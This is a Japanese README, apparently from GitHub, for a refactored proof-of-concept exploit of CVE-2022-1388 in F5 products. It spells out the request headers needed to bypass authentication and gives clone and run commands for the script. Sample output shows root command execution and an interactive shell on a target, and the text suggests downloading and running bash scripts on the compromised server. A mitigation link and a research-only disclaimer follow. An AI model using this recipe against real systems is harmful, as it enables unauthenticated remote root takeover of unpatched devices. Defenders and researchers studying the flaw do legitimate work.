
複数のF5製品に影響を及ぼすCVE-2022-1388の改良版POC
複数のF5製品に影響を与えるCVE-2022-1388の改良版POC。
これは、CVE-2022-1388に対するHorizon3のProof of Conceptの改良版です: https://github.com/horizon3ai/CVE-2022-1388
また、PsychoSecの作業(https://github.com/PsychoSec2/CVE-2022-1388-POC)をリファクタリングして完全に作り直したものです。
LOL、この人物は「Requirements」セクションで「brains」などのポイントを挙げており、コードの40%以上が重複しており、まったくスケーラブルではありません。
セッションブロックも削除しました。ここではあまり意味がないと考えたためです。
このバージョンには複数の改善点と、リモートコマンドを実行するための対話型シェルが含まれています。
この脆弱性の根本原因に関するHorizon3の技術的分析は、彼らのブログでご覧いただけます: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
この脆弱性を悪用するためのリクエストの必要条件:
Connection header must include X-F5-Auth-Token
X-F5-Auth-Token header must be present
Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
Auth header must be set with the admin username and any password
git
pip3
python3
git clone https://github.com/iveresk/cve-2022-1388-iveresk-command-shell.git
cd cve-2022-1388-iveresk-command-shell
pip3 install -r requirements.txt
python3 cve-2022-1388-1veresk.py -h
ターゲットのテスト:
python3 cve-2022-1388-1veresk.py.py -u -t https://192.168.0.221
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
-sオプションを使用して対話型シェルを実行します。 対話型シェル:
python3 cve-2022-1388-1veresk.py -u -s https://192.168.0.221
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
リバースTCP接続やリスナーを必要としません。
'exit'コマンドを使用してシェルを終了します...
パッチが適用されていないシステムで対話型シェルを実行する際、一部のコマンドや構文が動作しない、または期待した結果が得られない場合があることに注意してください。これはおそらく、サーバーAPIリクエストとレスポンスでJSONが使用されているためです。問題を回避するには、対話型シェルを使用する際に、二重引用符、コロン、カンマ、中括弧、角括弧など、JSON構文で一般的な文字を使用しないようにしてください。JSON構文は構造化された形式である必要があります。
コマンド内で非構造化JSON構文を使用すると、サーバーへのAPIリクエストが不正な形式になり、コマンド出力が得られない、何も実行されない、あるいはPythonスクリプトから完全に強制終了される可能性があります。これにより、残念ながら一部のコマンドが使用できなくなります。この問題を回避するには、代わりにbashスクリプトを作成し、サーバーにダウンロードして、対話型シェルを使用して実行することができます。また、'cd'コマンドを使用してディレクトリを変更することもできません。
いずれにせよ、基本的なコマンド出力は得られるはずです。コマンド出力が得られなくても、それはコマンドが実行されなかったことを意味するわけではありません。ただし、それはご自身の分析で確認する必要があります。
最新バージョンに更新するか、F5セキュリティアドバイザリ内の指示に従って緩和してください。 https://support.f5.com/csp/article/K23605346
このソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。
詳細については、Keybaseからお気軽にご連絡ください。